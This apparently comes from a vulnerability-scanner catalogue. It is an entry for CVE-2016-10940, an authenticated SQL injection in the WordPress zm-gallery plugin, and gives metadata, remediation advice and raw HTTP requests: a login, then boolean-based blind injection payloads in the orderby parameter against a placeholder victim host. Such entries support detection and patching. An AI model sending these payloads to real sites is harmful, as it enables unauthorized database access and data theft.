| Title | WordPress zm-gallery plugin 1.0 SQL Injection |
|---|---|
| Author | cckuailong,daffainfo |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Update to the latest version of the zm-gallery plugin or apply the patch provided by the vendor. |
| CVSS Score | 7.2 |
| EPSS Score | 0.13503 |
| CVE ID | CVE-2016-10940 |
| CWE ID | CWE-89 |
| Tags | cve cve2016 wpscan sqli wp wordpress wp-plugin authenticated zm-gallery_project vuln |
zm-gallery plugin 1.0 for WordPress is susceptible to SQL injection via the order parameter.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=lHmfHv&pwd=QFgp8k&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7422)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7421)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2016/CVE-2016-10940.yaml
🦈 Packet Capture: ⬇️ Download cve-2016-10940.pcap
N/AN/A